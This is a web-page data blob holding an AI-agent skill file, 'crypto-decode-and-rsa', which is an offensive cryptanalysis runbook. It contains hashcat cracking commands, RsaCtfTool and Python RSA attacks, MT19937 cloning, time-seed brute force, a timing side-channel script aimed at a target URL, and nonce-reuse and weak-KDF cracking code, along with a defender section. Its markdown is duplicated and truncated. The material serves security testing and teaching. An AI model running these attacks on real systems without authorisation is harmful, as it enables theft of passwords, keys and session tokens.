[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFGCP2124NA8BXQKJSYHYN":3,"skill-same:01M7DFGCP2124NA8BXQKJSYHYN":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":31,"commitSha":32,"skillDirectory":33,"forksCount":14,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7DFGCP2124NA8BXQKJSYHYN","crypto-decode-and-rsa",null,"Offline cryptanalysis and attack runbook — cipher\u002Fhash identification via Ciphey\u002FAres, hash ID and cracking (hashcat mode table), classical cipher quick-checks, CyberChef recipe chains, token\u002Fblob unfolding, RSA parameter attacks (RsaCtfTool, small-exponent, Hastad broadcast, Bleichenbacher PKCS1v1.5, Coppersmith partial-key), weak PRNG exploitation (MT19937 state recovery, time-seeded brute-force), timing side-channels against MAC comparison, AES-GCM nonce reuse, and KDF weaknesses (low-iteration PBKDF2, missing salt). All techniques run manually via bash — no MCP crypto adapter yet.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcrypto-decode-and-rsa\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: crypto-decode-and-rsa\ndescription: \"Offline cryptanalysis and attack runbook — cipher\u002Fhash identification via Ciphey\u002FAres, hash ID and cracking (hashcat mode table), classical cipher quick-checks, CyberChef recipe chains, token\u002Fblob unfolding, RSA parameter attacks (RsaCtfTool, small-exponent, Hastad broadcast, Bleichenbacher PKCS1v1.5, Coppersmith partial-key), weak PRNG exploitation (MT19937 state recovery, time-seeded brute-force), timing side-channels against MAC comparison, AES-GCM nonce reuse, and KDF weaknesses (low-iteration PBKDF2, missing salt). All techniques run manually via bash — no MCP crypto adapter yet.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: cryptanalysis\n  mitre_attack: T1140, T1110\n  runtime_note: \"Manual runbook — no MCP crypto adapter. Run Ciphey\u002FAres\u002Fhashcat\u002FRsaCtfTool\u002Fopenssl via bash tool. Hashcat and john available in Kali sandbox; Ciphey\u002FAres\u002FRsaCtfTool may need pip\u002Fcargo install on first use.\"\n  when_to_use: \"cipher decrypt decode base64 hex caesar rot vigenere xor unknown encoding identify ciphey ares hashid hashcat rsa RsaCtfTool small exponent hastad bleichenbacher coppersmith PRNG MT19937 mersenne time seed timing attack AES-GCM nonce reuse PBKDF2 weak KDF\"\n  upstream_url: https:\u002F\u002Fgithub.com\u002Fbee-san\u002FCiphey + https:\u002F\u002Fgithub.com\u002FCiphey\u002FAres + https:\u002F\u002Fgithub.com\u002FRsaCtfTool\u002FRsaCtfTool\n---\n\n# Crypto Decode & Implementation Attacks\n\nWhen you have unknown ciphertext (CTF flag, leaked DB field, captured token, encoded payload), identification comes first — the right tool depends on the cipher class. For implementation flaws, you are attacking the way developers misuse primitives (parameters, padding, randomness, comparison) — not the primitives themselves. Ciphey\u002FAres cover the decode side; RsaCtfTool, PRNG recovery, timing analysis, and KDF checks cover the attack side.\n\n## Quick Workflow\n\n1. **Identify first** — never attack before fingerprinting. Ciphey\u002FAres for unknown text, hashid\u002Fhash-identifier for hashes, format-specific checks for tokens.\n2. **Classify the target** — ciphertext length, block alignment, encoding layer, structure (JSON, JWT, proto3, msgpack) narrow the attack class.\n3. **Pick the attack lane**:\n   - Decode\u002Funknown → Part A (Ciphey, CyberChef, manual unwind)\n   - RSA parameter weakness → Part B (RsaCtfTool)\n   - PRNG \u002F timing \u002F nonce \u002F KDF → Part C\n   - CBC\u002FECB\u002FJWT → `web-crypto-attacks.md` (has the oracle harness)\n4. **Bound every loop** — hard iteration budgets, `timeout`, `-u` for line-buffered stdout. Crypto attacks that run unbounded either never finish or burn the sandbox.\n5. **Document the decoded value** in findings with severity per the table below.\n\n## Part A — Identification & Decoding\n\n### 1. Identify FIRST\n\n#### 1.1 Unknown text → automated cracker\n\n```bash\n# Ciphey — original (Python, slowed maintenance)\nciphey -t \"$CIPHERTEXT\"\n\n# Ares — Rust rewrite (faster, current)\nares -t \"$CIPHERTEXT\"\n```\n\nA*-search across 16+ decoders (base64, base85, hex, Caesar, ROT-N,\nAtbash, Vigenere, XOR-known-plaintext, URL encoding, binary, morse,\nbrainfuck, esolang, leetspeak, etc.) + BERT plaintext detector to know\nwhen to stop.\n\n#### 1.2 Hash → identify type\n\n```bash\nhashid -m '$2a$12$....'             # bcrypt 12 rounds\nhashid -m '5f4dcc3b5aa765d61d8327deb882cf99'  # MD5\nhash-identifier\n```\n\n#### 1.3 Specific format checks\n\n```bash\n# JWT\necho $TOKEN | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n\n# Hex → bytes\necho \"$HEX\" | xxd -r -p\n\n# Base64 → bytes (handle URL-safe)\necho \"$B64\" | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n\n# Multi-encoded (unwind layers)\necho \"$BLOB\" | base64 -d | base64 -d | xxd -r -p\n```\n\n### 2. Classical cipher quick-checks\n\n| Cipher | Signature |\n|---|---|\n| Base64 | `[A-Za-z0-9+\u002F=]+`, len multiple of 4 |\n| Base32 | `[A-Z2-7=]+` |\n| Hex | `[0-9a-fA-F]+`, even length |\n| Caesar\u002FROT | only A-Z + spaces, freq-attack ready |\n| Vigenere | A-Z, multiple-of-key-length repeating bigrams |\n| Substitution | A-Z, IC ≈ 0.066 (English) |\n| Vernam\u002FOTP | random-looking bytes, no statistical signal |\n| XOR fixed-key | bytes w\u002F printable XOR'd against pattern (file headers leak) |\n| Hill | small block size, matrix-based |\n\n### 3. CyberChef recipe library\n\nCyberChef (gchq.github.io\u002FCyberChef) is the GUI workhorse but recipes\ncan be exported as JSON and chained programmatically:\n\n```bash\n# Common chains\n\"From Base64 \u002F Magic \u002F To Hex\"\n\"From Hex \u002F XOR (Brute) \u002F Magic\"\n\"AES Decrypt(KEY) \u002F From Hex \u002F Strings\"\n```\n\nCLI version: `cyberchef-cli` (community port).\n\n### 4. Hash cracking quick-ref\n\n| Mode | Hash type |\n|---|---|\n| 0 | MD5 |\n| 100 | SHA-1 |\n| 1400 | SHA-256 |\n| 1700 | SHA-512 |\n| 1000 | NTLM |\n| 13100 | Kerberos TGS-REP (etype 23) |\n| 19700 | Kerberos TGS-REP (etype 18) |\n| 18200 | Kerberos AS-REP |\n| 16500 | JWT (HS256) |\n| 3200 | bcrypt |\n| 7400 | sha256crypt $5$ |\n| 1800 | sha512crypt $6$ |\n| 22000 | WPA-EAPOL+PMKID |\n| 7100 | macOS v10.8+ (PBKDF2-SHA512) |\n| 8200 | 1Password Cloud Keychain |\n\n```bash\nhashcat -m \u003Cmode> hashes.txt rockyou.txt -r best64.rule\njohn --format=\u003Cformat> hashes.txt --wordlist=rockyou.txt\n```\n\n### 5. Token \u002F blob unfolding workflow\n\nFor a mystery token captured in HTTP traffic:\n\n```\n1. ciphey\u002Fares → reveal base layer\n2. If structured (JSON \u002F proto3 \u002F msgpack) → parse\n3. If still encoded → repeat step 1\n4. Look for HMAC \u002F signature suffix → identify symmetric key candidates\n5. If symmetric encryption suspected → try AES-CBC\u002FGCM w\u002F common keys\n   (app-name, \"secret\", env vars exposed elsewhere)\n```\n\n## Part B — RSA Attacks\n\nRSA implementations fail in predictable ways. Target the mathematical parameters before attacking the padding scheme.\n\nUse RsaCtfTool for automated RSA analysis:\n\n```bash\n# Attack a public key directly\nRsaCtfTool --publickey pubkey.pem --private\n\n# Decrypt a ciphertext with a known weak key\nRsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin\n\n# Attack multiple keys for common factor (shared prime)\nRsaCtfTool --publickey \"key1.pem,key2.pem\" --private\n\n# Specific attack selection\nRsaCtfTool --publickey pubkey.pem --attack wiener\nRsaCtfTool --publickey pubkey.pem --attack smallq\nRsaCtfTool --publickey pubkey.pem --attack fermat\n```\n\nExploit small public exponent (e=3) when the plaintext is short enough that `m^e \u003C n`:\n\n```python\nimport gmpy2\nfrom gmpy2 import iroot\n\ndef small_exponent_attack(ciphertext_int, e, n):\n    \"\"\"When m^e \u003C n, the ciphertext is simply m^e with no modular reduction.\"\"\"\n    plaintext_int, is_perfect = iroot(ciphertext_int, e)\n    if is_perfect:\n        return int(plaintext_int).to_bytes(\n            (int(plaintext_int).bit_length() + 7) \u002F\u002F 8, 'big'\n        )\n    return None\n\n# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients\ndef hastad_broadcast(ciphertexts, moduli, e=3):\n    \"\"\"CRT-based recovery when the same message is sent to e recipients.\"\"\"\n    from functools import reduce\n    N = reduce(lambda a, b: a * b, moduli)\n    result = 0\n    for ci, ni in zip(ciphertexts, moduli):\n        Ni = N \u002F\u002F ni\n        _, mi, _ = gmpy2.gcdext(Ni, ni)\n        result += ci * Ni * int(mi)\n    result = result % N\n    plaintext, _ = iroot(result, e)\n    return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) \u002F\u002F 8, 'big')\n```\n\nBleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.\n\nCoppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:\n\n```python\n# SageMath: recover high bits of a factor\n# If you know the top bits of p, Coppersmith finds the rest\nn = \u003Cmodulus>\np_approx = \u003Cknown_high_bits_of_p>\nP.\u003Cx> = PolynomialRing(Zmod(n))\nf = p_approx + x\nroots = f.small_roots(X=2^64, beta=0.5)  # X bounds the unknown portion\nif roots:\n    p = p_approx + int(roots[0])\n    q = n \u002F\u002F p\n    print(f\"p = {p}\")\n    print(f\"q = {q}\")\n```\n\n## Part C — PRNG, Timing, GCM, KDF\n\n### Weak PRNG Exploitation\n\nApplications that seed random number generators from predictable sources -- timestamps, PIDs, low-entropy pools -- produce predictable outputs.\n\nRecover MT19937 (Mersenne Twister) internal state from 624 consecutive 32-bit outputs:\n\n```python\ndef untemper(y):\n    \"\"\"Reverse the MT19937 tempering transform.\"\"\"\n    # Reverse: y ^= y >> 18\n    y ^= y >> 18\n    # Reverse: y ^= (y \u003C\u003C 15) & 0xEFC60000\n    y ^= (y \u003C\u003C 15) & 0xEFC60000\n    # Reverse: y ^= (y \u003C\u003C 7) & 0x9D2C5680 (iterative)\n    tmp = y\n    for _ in range(7):\n        tmp = y ^ ((tmp \u003C\u003C 7) & 0x9D2C5680)\n    y = tmp\n    # Reverse: y ^= y >> 11 (iterative)\n    tmp = y\n    for _ in range(3):\n        tmp = y ^ (tmp >> 11)\n    y = tmp\n    return y\n\ndef clone_mt19937(outputs_624):\n    \"\"\"Clone MT19937 state from exactly 624 observed 32-bit outputs.\"\"\"\n    import random\n    mt_state = [untemper(o) for o in outputs_624]\n    # Reconstruct the state tuple: (3, tuple(624 ints + index), None)\n    state = (3, tuple(mt_state + [624]), None)\n    cloned = random.Random()\n    cloned.setstate(state)\n    return cloned\n\n# Predict all future outputs\ncloned_rng = clone_mt19937(observed_outputs)\nnext_token = cloned_rng.getrandbits(32)\n```\n\nExploit time-seeded PRNGs by narrowing the seed window:\n\n```python\nimport random\nimport time\n\ndef brute_force_time_seed(known_output, time_window_start, time_window_end):\n    \"\"\"Recover the seed when random.seed() was called with int(time.time()).\"\"\"\n    for seed in range(int(time_window_start), int(time_window_end)):\n        rng = random.Random(seed)\n        if rng.getrandbits(32) == known_output:\n            return seed\n    return None\n```\n\n### Timing Side-Channel Attacks\n\nTiming attacks exploit data-dependent execution time in cryptographic comparisons. The classic target is byte-by-byte string comparison of MACs, tokens, or passwords.\n\n```python\nimport requests\nimport time\nimport statistics\n\ndef timing_attack_mac(url, known_prefix, charset, samples=20):\n    \"\"\"Recover a MAC byte-by-byte via timing side-channel.\"\"\"\n    best_byte = None\n    best_time = 0\n\n    for candidate in charset:\n        test_mac = known_prefix + candidate + \"\\x00\" * (32 - len(known_prefix) - 1)\n        times = []\n        for _ in range(samples):\n            start = time.perf_counter_ns()\n            requests.get(url, params={\"mac\": test_mac})\n            elapsed = time.perf_counter_ns() - start\n            times.append(elapsed)\n\n        median = statistics.median(times)\n        if median > best_time:\n            best_time = median\n            best_byte = candidate\n\n    return known_prefix + best_byte\n\n# Statistical enhancement: use percentile comparison to reduce noise\n# Network jitter requires 50-100+ samples per candidate in practice\n```\n\n### AES-GCM Nonce Reuse\n\nAES-GCM nonce reuse is catastrophic. Reusing a nonce with the same key allows recovery of the authentication key (GHASH key H) and enables both decryption of XOR'd plaintexts and forgery of authentication tags.\n\n```python\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long\n\ndef exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):\n    \"\"\"\n    Given two ciphertexts encrypted under the same key and nonce,\n    recover the GHASH key H and forge tags for arbitrary messages.\n    XOR of ciphertexts yields XOR of plaintexts.\n    \"\"\"\n    # Recover plaintext XOR\n    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))\n\n    # Recover GHASH key H from the tag polynomial relationship\n    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)\n    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)\n    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)\n    # This yields a polynomial in H over GF(2^128)\n\n    # The polynomial root gives H; use SageMath or a GF(2^128) library\n    # for the actual field arithmetic\n    print(f\"Plaintext XOR: {xor_plaintexts.hex()}\")\n    print(\"Solve the GHASH polynomial in GF(2^128) to recover H\")\n    return xor_plaintexts\n```\n\n### Key Derivation Weaknesses\n\nTarget password-based key derivation with insufficient work factors:\n\n```python\nimport hashlib\n\n# Weak KDF: single SHA-256 iteration, no salt\ndef crack_weak_kdf(target_key_hex, wordlist_path):\n    \"\"\"Crack a key derived via single-pass SHA-256 of a password.\"\"\"\n    target = bytes.fromhex(target_key_hex)\n    with open(wordlist_path, 'r') as f:\n        for word in f:\n            word = word.strip()\n            derived = hashlib.sha256(word.encode()).digest()\n            if derived == target:\n                return word\n    return None\n\n# Detect weak PBKDF2 iteration counts\ndef check_pbkdf2_strength(iterations, algorithm=\"sha256\"):\n    \"\"\"Flag insufficient PBKDF2 parameters per OWASP 2024 guidance.\"\"\"\n    minimums = {\n        \"sha1\": 1_300_000,\n        \"sha256\": 600_000,\n        \"sha512\": 210_000,\n    }\n    minimum = minimums.get(algorithm, 600_000)\n    if iterations \u003C minimum:\n        print(f\"WEAK: {iterations} iterations of PBKDF2-{algorithm}\")\n        print(f\"Minimum recommended: {minimum}\")\n        return False\n    return True\n```\n\n## Planned MCP Tool (not yet implemented)\n\nA structured `crypto_decode` MCP tool is planned but **not yet implemented** in\nthe current runtime. Do not attempt to call it — it will not resolve.\n\nIntended interface (for future reference):\n\n```python\n# raptix\u002Ftools\u002Fcrypto\u002Fdecode.py — PLANNED, NOT IMPLEMENTED\ndef crypto_decode(ciphertext: str, hint: str = None, timeout: int = 30) -> dict:\n    \"\"\"Try ares first (fast), fallback to ciphey, return best decode.\"\"\"\n    ...\n```\n\nUntil that lands, run the same logic through bash:\n\n```bash\n# Direct invocation via bash tool\nares -t \"$CIPHERTEXT\" --language en 2>\u002Fdev\u002Fnull || ciphey -t \"$CIPHERTEXT\"\n```\n\nRecord the decode result in the engagement knowledge graph via the standard\n`decoded:\u003Chash> → plaintext \u003Cresult> via \u003Cchain>` line in your findings file —\nthe auto-ingest pipeline picks it up from there.\n\n## Severity\n\n| Decoded content | Severity |\n|---|---|\n| Plaintext password | Critical (depends on user role) |\n| API key \u002F private key | Critical |\n| Internal hostname \u002F IP | Medium |\n| Session token | High-Critical |\n| Encryption key | Critical |\n\n## Detection \u002F Defender View\n\nDefenders should monitor for the following indicators of cryptographic attacks:\n\n- **Padding oracle probing**: High volumes of requests to the same endpoint with incrementally modified ciphertext parameters. Look for request patterns where a single byte changes across hundreds of sequential requests. Alert on endpoints returning binary pass\u002Ffail for encrypted input.\n- **ECB detection probing**: Requests containing long runs of repeated characters (16+ identical bytes) submitted to encryption endpoints.\n- **Hash length extension**: URL parameters or cookies containing null bytes (`%00`) in positions that should be printable text. Message bodies that are longer than expected with padding artifacts.\n- **RSA parameter harvesting**: Repeated requests for public key endpoints, certificate downloads, or TLS handshake enumeration.\n- **Timing attacks**: Unusual request patterns with high concurrency to authentication or MAC verification endpoints. Statistical analysis of response time distributions showing stepped patterns.\n- **Nonce reuse**: Monitor encryption operations for counter resets or nonce collisions. Implement nonce-misuse-resistant AEAD modes (AES-GCM-SIV, XChaCha20-Poly1305) as defense in depth.\n\nRemediation priorities: migrate from CBC to authenticated encryption (AES-GCM, ChaCha20-Poly1305), use HMAC instead of `H(secret||message)`, enforce minimum 2048-bit RSA keys with OAEP padding, use cryptographically secure RNGs (`secrets` module, `\u002Fdev\u002Furandom`), implement constant-time comparison for all secret values, and enforce OWASP-recommended PBKDF2 iteration counts or migrate to Argon2id.\n\n## Engagement Cheatsheet\n\n**Identification & decode:**\n\n| Target | Tool | First step |\n|---|---|---|\n| Unknown text | Ciphey \u002F Ares | `ares -t \"$CT\"` |\n| Unknown hash | hashid \u002F hash-identifier | `hashid -m '\u003Chash>'` |\n| Base64\u002Fhex\u002FURL | `base64 -d`, `xxd -r -p`, `python3 -c \"import urllib.parse...\"` | Try one layer at a time |\n| Nested encoding | CyberChef Magic \u002F Ciphey | Unwind iteratively |\n\n**Crypto attacks:**\n\n| Target                 | Tool \u002F Technique          | First Step                                    |\n|------------------------|---------------------------|-----------------------------------------------|\n| Encrypted cookie (CBC) | padbuster                 | Modify last byte, observe response difference |\n| Encrypted token (ECB)  | Custom Python             | Send repeated blocks, check for repetition    |\n| MAC = H(secret+msg)    | hashpumpy                 | Confirm Merkle-Damgard hash, try extensions   |\n| RSA public key         | RsaCtfTool                | Extract n and e, check key size and factors   |\n| Session token (PRNG)   | Custom Python             | Collect 624+ outputs, clone MT state          |\n| Auth endpoint          | Timing script             | Measure response time per byte position       |\n| AES-GCM encrypted API  | Custom Python \u002F SageMath  | Detect nonce reuse across captured messages   |\n| Password-derived key   | hashcat \u002F custom script   | Identify KDF, check iteration count           |\n\nCiphertext identification heuristics:\n- Length is multiple of 8 bytes: likely DES\u002F3DES in CBC\u002FECB.\n- Length is multiple of 16 bytes: likely AES in CBC\u002FECB.\n- Length is plaintext + 16 bytes (tag): likely AES-GCM.\n- Fixed-length output regardless of input: likely a hash, not encryption.\n\n## Cross-references\n\n- Upstream: https:\u002F\u002Fgithub.com\u002Fbee-san\u002FCiphey, https:\u002F\u002Fgithub.com\u002FCiphey\u002FAres\n- JWT-specific (different layer): `cryptography\u002Fweb-crypto-attacks.md`\n- AD hashes: `skills\u002Fad\u002Fdcsync\u002FSKILL.md`\n- TLS-level attacks: `cryptography\u002Ftls-attacks.md`\n\n## Key References\n\nFoundational papers:\n- Vaudenay, S. \"Security Flaws Induced by CBC Padding.\" EUROCRYPT 2002.\n- Bleichenbacher, D. \"Chosen Ciphertext Attacks Against RSA PKCS#1.\" CRYPTO 1998.\n- Duong, T. and Rizzo, J. \"Practical Padding Oracle Attacks.\" USENIX WOOT 2010.\n- Coppersmith, D. \"Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities.\" J. Cryptology, 1997.\n- Joux, A. \"Authentication Failures in NIST version of GCM.\" NIST Comment, 2006.\n\nStandards:\n- CWE-327: Use of a Broken or Risky Cryptographic Algorithm.\n- CWE-328: Use of Weak Hash.\n- CWE-330: Use of Insufficiently Random Values.\n- OWASP Password Storage Cheat Sheet (PBKDF2\u002FArgon2id iteration guidance).\n\nTooling:\n- Ciphey: https:\u002F\u002Fgithub.com\u002Fbee-san\u002FCiphey\n- Ares (Rust successor): https:\u002F\u002Fgithub.com\u002FCiphey\u002FAres\n- RsaCtfTool: https:\u002F\u002Fgithub.com\u002FRsaCtfTool\u002FRsaCtfTool\n- hashcat: https:\u002F\u002Fhashcat.net\u002Fhashcat\u002F\n- John the Ripper: https:\u002F\u002Fwww.openwall.com\u002Fjohn\u002F\n- hashpumpy: https:\u002F\u002Fgithub.com\u002Fbwall\u002FHashPump\n- CyberChef: https:\u002F\u002Fgchq.github.io\u002FCyberChef\u002F\n\n## Known exemplars\n\n- CTF flag formats (90% are base64, hex, or rot-N layers)\n- Mobile reverse engineering: API keys often base64-XORed in strings\n- IoT firmware: AES-CBC w\u002F hardcoded keys recoverable via Ciphey + ghidra\n- Phishing email obfuscation: nested encoding chains common\n","# Crypto Decode & Implementation Attacks\n\nWhen you have unknown ciphertext (CTF flag, leaked DB field, captured token, encoded payload), identification comes first — the right tool depends on the cipher class. For implementation flaws, you are attacking the way developers misuse primitives (parameters, padding, randomness, comparison) — not the primitives themselves. Ciphey\u002FAres cover the decode side; RsaCtfTool, PRNG recovery, timing analysis, and KDF checks cover the attack side.\n\n## Quick Workflow\n\n1. **Identify first** — never attack before fingerprinting. Ciphey\u002FAres for unknown text, hashid\u002Fhash-identifier for hashes, format-specific checks for tokens.\n2. **Classify the target** — ciphertext length, block alignment, encoding layer, structure (JSON, JWT, proto3, msgpack) narrow the attack class.\n3. **Pick the attack lane**:\n   - Decode\u002Funknown → Part A (Ciphey, CyberChef, manual unwind)\n   - RSA parameter weakness → Part B (RsaCtfTool)\n   - PRNG \u002F timing \u002F nonce \u002F KDF → Part C\n   - CBC\u002FECB\u002FJWT → `web-crypto-attacks.md` (has the oracle harness)\n4. **Bound every loop** — hard iteration budgets, `timeout`, `-u` for line-buffered stdout. Crypto attacks that run unbounded either never finish or burn the sandbox.\n5. **Document the decoded value** in findings with severity per the table below.\n\n## Part A — Identification & Decoding\n\n### 1. Identify FIRST\n\n#### 1.1 Unknown text → automated cracker\n\n```bash\n# Ciphey — original (Python, slowed maintenance)\nciphey -t \"$CIPHERTEXT\"\n\n# Ares — Rust rewrite (faster, current)\nares -t \"$CIPHERTEXT\"\n```\n\nA*-search across 16+ decoders (base64, base85, hex, Caesar, ROT-N,\nAtbash, Vigenere, XOR-known-plaintext, URL encoding, binary, morse,\nbrainfuck, esolang, leetspeak, etc.) + BERT plaintext detector to know\nwhen to stop.\n\n#### 1.2 Hash → identify type\n\n```bash\nhashid -m '$2a$12$....'             # bcrypt 12 rounds\nhashid -m '5f4dcc3b5aa765d61d8327deb882cf99'  # MD5\nhash-identifier\n```\n\n#### 1.3 Specific format checks\n\n```bash\n# JWT\necho $TOKEN | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n\n# Hex → bytes\necho \"$HEX\" | xxd -r -p\n\n# Base64 → bytes (handle URL-safe)\necho \"$B64\" | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n\n# Multi-encoded (unwind layers)\necho \"$BLOB\" | base64 -d | base64 -d | xxd -r -p\n```\n\n### 2. Classical cipher quick-checks\n\n| Cipher | Signature |\n|---|---|\n| Base64 | `[A-Za-z0-9+\u002F=]+`, len multiple of 4 |\n| Base32 | `[A-Z2-7=]+` |\n| Hex | `[0-9a-fA-F]+`, even length |\n| Caesar\u002FROT | only A-Z + spaces, freq-attack ready |\n| Vigenere | A-Z, multiple-of-key-length repeating bigrams |\n| Substitution | A-Z, IC ≈ 0.066 (English) |\n| Vernam\u002FOTP | random-looking bytes, no statistical signal |\n| XOR fixed-key | bytes w\u002F printable XOR'd against pattern (file headers leak) |\n| Hill | small block size, matrix-based |\n\n### 3. CyberChef recipe library\n\nCyberChef (gchq.github.io\u002FCyberChef) is the GUI workhorse but recipes\ncan be exported as JSON and chained programmatically:\n\n```bash\n# Common chains\n\"From Base64 \u002F Magic \u002F To Hex\"\n\"From Hex \u002F XOR (Brute) \u002F Magic\"\n\"AES Decrypt(KEY) \u002F From Hex \u002F Strings\"\n```\n\nCLI version: `cyberchef-cli` (community port).\n\n### 4. Hash cracking quick-ref\n\n| Mode | Hash type |\n|---|---|\n| 0 | MD5 |\n| 100 | SHA-1 |\n| 1400 | SHA-256 |\n| 1700 | SHA-512 |\n| 1000 | NTLM |\n| 13100 | Kerberos TGS-REP (etype 23) |\n| 19700 | Kerberos TGS-REP (etype 18) |\n| 18200 | Kerberos AS-REP |\n| 16500 | JWT (HS256) |\n| 3200 | bcrypt |\n| 7400 | sha256crypt $5$ |\n| 1800 | sha512crypt $6$ |\n| 22000 | WPA-EAPOL+PMKID |\n| 7100 | macOS v10.8+ (PBKDF2-SHA512) |\n| 8200 | 1Password Cloud Keychain |\n\n```bash\nhashcat -m \u003Cmode> hashes.txt rockyou.txt -r best64.rule\njohn --format=\u003Cformat> hashes.txt --wordlist=rockyou.txt\n```\n\n### 5. Token \u002F blob unfolding workflow\n\nFor a mystery token captured in HTTP traffic:\n\n```\n1. ciphey\u002Fares → reveal base layer\n2. If structured (JSON \u002F proto3 \u002F msgpack) → parse\n3. If still encoded → repeat step 1\n4. Look for HMAC \u002F signature suffix → identify symmetric key candidates\n5. If symmetric encryption suspected → try AES-CBC\u002FGCM w\u002F common keys\n   (app-name, \"secret\", env vars exposed elsewhere)\n```\n\n## Part B — RSA Attacks\n\nRSA implementations fail in predictable ways. Target the mathematical parameters before attacking the padding scheme.\n\nUse RsaCtfTool for automated RSA analysis:\n\n```bash\n# Attack a public key directly\nRsaCtfTool --publickey pubkey.pem --private\n\n# Decrypt a ciphertext with a known weak key\nRsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin\n\n# Attack multiple keys for common factor (shared prime)\nRsaCtfTool --publickey \"key1.pem,key2.pem\" --private\n\n# Specific attack selection\nRsaCtfTool --publickey pubkey.pem --attack wiener\nRsaCtfTool --publickey pubkey.pem --attack smallq\nRsaCtfTool --publickey pubkey.pem --attack fermat\n```\n\nExploit small public exponent (e=3) when the plaintext is short enough that `m^e \u003C n`:\n\n```python\nimport gmpy2\nfrom gmpy2 import iroot\n\ndef small_exponent_attack(ciphertext_int, e, n):\n    \"\"\"When m^e \u003C n, the ciphertext is simply m^e with no modular reduction.\"\"\"\n    plaintext_int, is_perfect = iroot(ciphertext_int, e)\n    if is_perfect:\n        return int(plaintext_int).to_bytes(\n            (int(plaintext_int).bit_length() + 7) \u002F\u002F 8, 'big'\n        )\n    return None\n\n# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients\ndef hastad_broadcast(ciphertexts, moduli, e=3):\n    \"\"\"CRT-based recovery when the same message is sent to e recipients.\"\"\"\n    from functools import reduce\n    N = reduce(lambda a, b: a * b, moduli)\n    result = 0\n    for ci, ni in zip(ciphertexts, moduli):\n        Ni = N \u002F\u002F ni\n        _, mi, _ = gmpy2.gcdext(Ni, ni)\n        result += ci * Ni * int(mi)\n    result = result % N\n    plaintext, _ = iroot(result, e)\n    return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) \u002F\u002F 8, 'big')\n```\n\nBleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.\n\nCoppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:\n\n```python\n# SageMath: recover high bits of a factor\n# If you know the top bits of p, Coppersmith finds the rest\nn = \u003Cmodulus>\np_approx = \u003Cknown_high_bits_of_p>\nP.\u003Cx> = PolynomialRing(Zmod(n))\nf = p_approx + x\nroots = f.small_roots(X=2^64, beta=0.5)  # X bounds the unknown portion\nif roots:\n    p = p_approx + int(roots[0])\n    q = n \u002F\u002F p\n    print(f\"p = {p}\")\n    print(f\"q = {q}\")\n```\n\n## Part C — PRNG, Timing, GCM, KDF\n\n### Weak PRNG Exploitation\n\nApplications that seed random number generators from predictable sources -- timestamps, PIDs, low-entropy pools -- produce predictable outputs.\n\nRecover MT19937 (Mersenne Twister) internal state from 624 consecutive 32-bit outputs:\n\n```python\ndef untemper(y):\n    \"\"\"Reverse the MT19937 tempering transform.\"\"\"\n    # Reverse: y ^= y >> 18\n    y ^= y >> 18\n    # Reverse: y ^= (y \u003C\u003C 15) & 0xEFC60000\n    y ^= (y \u003C\u003C 15) & 0xEFC60000\n    # Reverse: y ^= (y \u003C\u003C 7) & 0x9D2C5680 (iterative)\n    tmp = y\n    for _ in range(7):\n        tmp = y ^ ((tmp \u003C\u003C 7) & 0x9D2C5680)\n    y = tmp\n    # Reverse: y ^= y >> 11 (iterative)\n    tmp = y\n    for _ in range(3):\n        tmp = y ^ (tmp >> 11)\n    y = tmp\n    return y\n\ndef clone_mt19937(outputs_624):\n    \"\"\"Clone MT19937 state from exactly 624 observed 32-bit outputs.\"\"\"\n    import random\n    mt_state = [untemper(o) for o in outputs_624]\n    # Reconstruct the state tuple: (3, tuple(624 ints 